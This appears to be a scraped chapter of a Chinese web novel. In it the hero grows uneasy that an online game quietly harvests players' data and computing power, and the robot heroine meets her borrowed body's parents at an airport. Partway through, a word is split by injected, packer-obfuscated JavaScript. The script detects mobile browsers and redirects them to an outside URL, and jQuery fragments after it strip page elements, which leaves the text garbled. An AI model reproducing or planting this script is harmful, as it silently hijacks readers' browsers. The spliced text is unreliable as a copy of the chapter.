108. 见家长

作品:《物流机器人不可能这么可爱

    “啊?这么复杂吗?”


    呆琳娜歪着头,不太理解。


    “不就是一段声音嘛?”


    陆斯年没有深入解释,只是默默记下了这个诡异的任务。


    他不明白,陆予彻那家伙究竟在搞什么!


    紧接着,陆斯年又注意到游戏内一个非常受玩家追捧的“心理类”小游戏。


    玩家需要快速应对各种突发星际事件,系统会根据反应速度、选择策略生成一份“指挥官潜能报告”。


    这会儿,呆琳娜正玩得不亦乐乎。


    报告显示她“极具冒险精神且共情能力超群”。


    “耶!S级!传奇!”


    她超级骄傲来着,虚拟都呆毛得意地翘成了感叹号。


    “老板老板你快看!系统说我超适合当老大!”


    “嗯……”


    陆斯年矜持地给了个肯定,顺手点开了报告的详细数据页面。


    看着里面那些反应时间、风险偏好评估和微表情捕捉记录,他的眼神沉静如水。


    这很像某些经过简化和包装的行为心理学研究模型,不太像单纯的娱乐程序。


    这还不算,那个“共建银河超算网络”的社区活动,还鼓励玩家贡献闲置设备来加速星图计算,换取游戏货币和称号。


    陆斯年几乎可以肯定,如此庞大的算力搜集,绝不可能只用于游戏内运算,必然有其他冗余算力被安排到别处了。


    只是玩家无从得知。


    再看《银河文明:重生》这款游戏,那些莫名其妙的“玩法”分散在各个角落,设计精妙,奖励诱人,让玩家在享受乐趣的同时,又能不知不觉中让渡出部分隐私或计算资源。


    陆斯年靠在虚拟驾驶舱的座椅上,看着宇宙掠过的星辰,心中升起一丝疑虑。


    陆予彻的公司,在这款游戏的运营和数据利用上,边界感似乎相当模糊——他必定是制定了相关的免责条款。


    陆斯年想起陆予彻,他那双总是带着精明笑意的眼睛……


    他对自己“医疗项目”那过于热心的“投资”……


    他到底想从这海量玩家数据里得到什么?


    又或者,他只是在迎合A国某些宽松到近乎放纵的数据监管环境,最大化游戏的商业利益?


    陆斯年无法确定。


    他没有证据证明陆予彻有更复杂的背景或目的,但这些游戏设计背后的逻辑,让他本能地感到不适和警惕。


    “老板?这个跳跃点好漂亮!我们过去看看?”


    呆琳娜完全没察觉到他的思绪,指着远处一个绚丽的星云漩涡兴奋喊道。


    “老板?你……怎么了?”


    她很快注意到陆斯年神色的变化,有些担心。


    陆斯年迅速收敛情绪,淡淡道:“也没什么。只是觉得这些‘玩法’设计得很……‘别致’。”


    他看了一眼身边依旧快乐地徜在银河中的呆琳娜。


    这片看似无限自由的星海,或许并不像表面看起来那么简单。


    算了……


    反正现阶段的他们也没什么机密能暴露的。


    陆斯年低头,开始专心对着游戏说明操纵飞船转向。


    几次“星际复健”课程后,呆琳娜的神经协调性测试数据终于达到了标准线。


    陆斯年看着最新的健康评估报告,点了点头,伊芙琳也正式宣告了她的康复。


    第二天,呆琳娜就接到了一通视频通话。


    她那对常年满世界飞的父母接到女儿康复的消息,当即表示已登上私人飞机,不日便将抵达A国,和“重获新生”的宝贝女儿团聚。


    挂断通话,呆琳娜立刻肉眼可见地蔫儿了。


    她像棵被晒蔫的小草,抱着膝盖缩在沙发里,连那头灿烂的金发仿佛都黯淡了几分。


    “又、又要见家长了……”


    她小声嘟囔,语气里充满了肉眼可见的紧张和焦虑。


    “上次是左伯伯,这次又是Elana的亲爸妈……万一露馅怎么办?他们肯定很了解自己的女儿啊……”


    陆斯年正处理着邮件,闻言头也没抬:“按照你习惯的方式表现即可。医疗报告上写的是‘创伤后记忆部分缺失’,没人会苛求一个失忆病人记住所有细节,放心好了。”


    他顿了顿,又补充道:“而且,Elena这种活泼外向型人格,不是你最擅长的模式么?”


    他指的是小呆平时叽叽喳喳、充满元气的状态。


    呆琳娜猛地抬起头,碧蓝的眼睛瞪得圆圆的,语气委屈而急切:“老板!你不懂!资料显示,ELena是御姐型!是那种‘烈焰红唇大波浪,气场两米八,走路带风,一个眼神就能让追求者腿软’的超级大美女啊!”


    为了强调傲人身材,她边说边下意识地挺了挺胸,试图模仿那种傲人的风姿:“我现在这个……这个和我原来的身体完全不一样好不好!怎么能控制得好!”


    “你原来的3D身体不是随机生成,而是根据你自己的各项数据频率模拟的。”


    陆斯年的目光终于从屏幕移开,落在他面前这个试图“挺起胸膛”,但实际效果更像只努力鼓气的河豚的身上。


    他推了推眼镜,镜片后的目光带着一丝难以察觉的玩味。


    “哦?”语调微微上扬,带着明显的调侃。


    “听起来,你对她这副皮囊……还挺满意?”


    “哼!”呆琳娜被他这语气激得有点炸毛,但又无法反驳资料库里的客观数据,只能气鼓鼓地别过脸,“反正……就是很难嘛!老板你根本就不懂!”


    看着她那副如临大敌、连发梢都在紧张的样子,陆斯年几不可闻地叹了口气。


    “听着,”他合上电脑,语气放缓了些许,开始进行纯技术分析,“无论外在形态如何变化,行为模式的底层逻辑是相通的。自信、果断、甚至是一些无伤大雅的强势,这些特质你可以通过语言、语气和姿态来模拟。至于其他的……”


    他的目光在呆琳娜身上扫过,最终定格在她那双因为紧张而微微睁大的眼睛上。


    “没人会期待一个刚从重伤中恢复、还失了忆的人,立刻变回那个‘气场两米八’的完美御姐。稍微的偏差和……生疏,反而更合理。”


    “你只需要,做你自己就好。”


    他顿了顿,意味深长地补充了一句,“——用你认为最舒适的方式。”


    他的话像是一颗定心丸。


    小呆眨了眨眼,慢慢消化了陆斯年的意思。


    对哦,她现在是个“病人”,有点不一样才是正常的!


    而且……做自己?这个她最拿手了!


    虽然“御姐”暂时是装不来了,但活泼可爱、偶尔脱线,啊呸!讨人喜欢什么的,可是她的出厂设


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920238|184178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    置!


    这么一想,呆琳娜心里的紧张感顿时消散了大半,甚至开始有点跃跃欲试起来。


    机场国际到达厅,人流如织。


    陆斯年身姿挺拔地站在接机口,神情是一贯的冷峻,但那张英俊的东方面孔依旧引得周围不少人侧目。


    呆琳娜则紧张地贴在他身边,努力扮演着一个大病初愈的富家女形象,手指却下意识地揪着陆斯年的衣角。


    陆斯年也只能叹口气,让她去了。


    当一对衣着考究,气场不凡的中年夫妇走出闸口时,陆斯年立刻注意到了他们。


    他早就查过这两人的资料。


    男人大约五十多岁,身材保持得极好,穿着剪裁合体的深色羊绒大衣,头发梳理得一丝不苟,鼻梁上架着一副金丝眼镜,眼神锐利而沉稳,嘴角带着一丝恰到好处的微笑,看上去更像是成功企业家之类,而非风尘仆仆的旅客。


    他手中拄着一根精致的手杖,步伐稳健。


    身边那女人大约同样年纪,风韵犹存,穿着昂贵的皮草外套,妆容精致,颈间的珍珠项链光泽温润。


    看起来就像一位养尊处优的贵妇。


    这就是艾琳娜的父母——安东尼奥·佩特罗瓦和索菲亚·佩特罗瓦。


    “Mybaby!Ellie!”


    索菲亚的眼神第一时间就锁定在了呆琳娜身上,瞬间涌上了泪水。


    她快步上前,声音带着激动人心的颤抖,张开双臂就要拥抱呆琳娜。


    呆琳娜被她那强大的气场和突如其来的热情吓得往后一缩,下意识地躲到了陆斯年身后。


    索菲亚动作顿住了,脸上的悲痛更加真切,她用手帕轻轻按了按眼角:“Oh…I’msosorry,mydarling……妈妈只是太激动了……你一定受了很多苦……”


    安东尼奥也走了过来,他的目光先是极其迅速地扫过陆斯年,带着天然的压迫感,而后才落到女儿身上,眼神软化下来,充满了作为父亲的担忧和慈爱。


    “Ellie,”他的声音低沉而富有磁性,带着明显的意大利口音,听起来温暖而可靠,“感谢上帝你平安无事。”他伸出手,似乎想拍拍女儿的肩膀,但看到她那惊怯的样子,又绅士地收了回来,转而向陆斯年伸出手。


    “Mr.Lu,”安东尼奥握住陆斯年的手,力道沉稳,目光真诚。


    “我听Eve说了,在这艰难时刻照顾我们宝贵的Ellie,我们感激不尽。我们欠你一个人情。”


    他的措辞无可挑剔,感激之情表现得真挚而克制。


    陆斯年能感觉到对方手掌的力量和那种久居上位的控制感,他面色不变,微微颔首:“佩特罗瓦先生,夫人,这是应该的。主要还是艾琳娜自己很坚强。”


    他巧妙地将功劳归给了“Elena”。


    “请叫我安东尼奥。”


    安东尼奥露出一个友好的笑容。


    他的目光再次扫向陆斯年,似乎在观察他的反应。


    “当然。”


    陆斯年迎着他的目光。


    这时,索菲亚夫人已经重新调整好情绪,她亲昵地挽住呆琳娜的胳膊。


    “来吧,亲爱的,你一定累坏了。我们回家。爸爸妈妈已经为你安排了最好的医生。”


    “啊……”


    呆琳娜不知所措地看向陆斯年。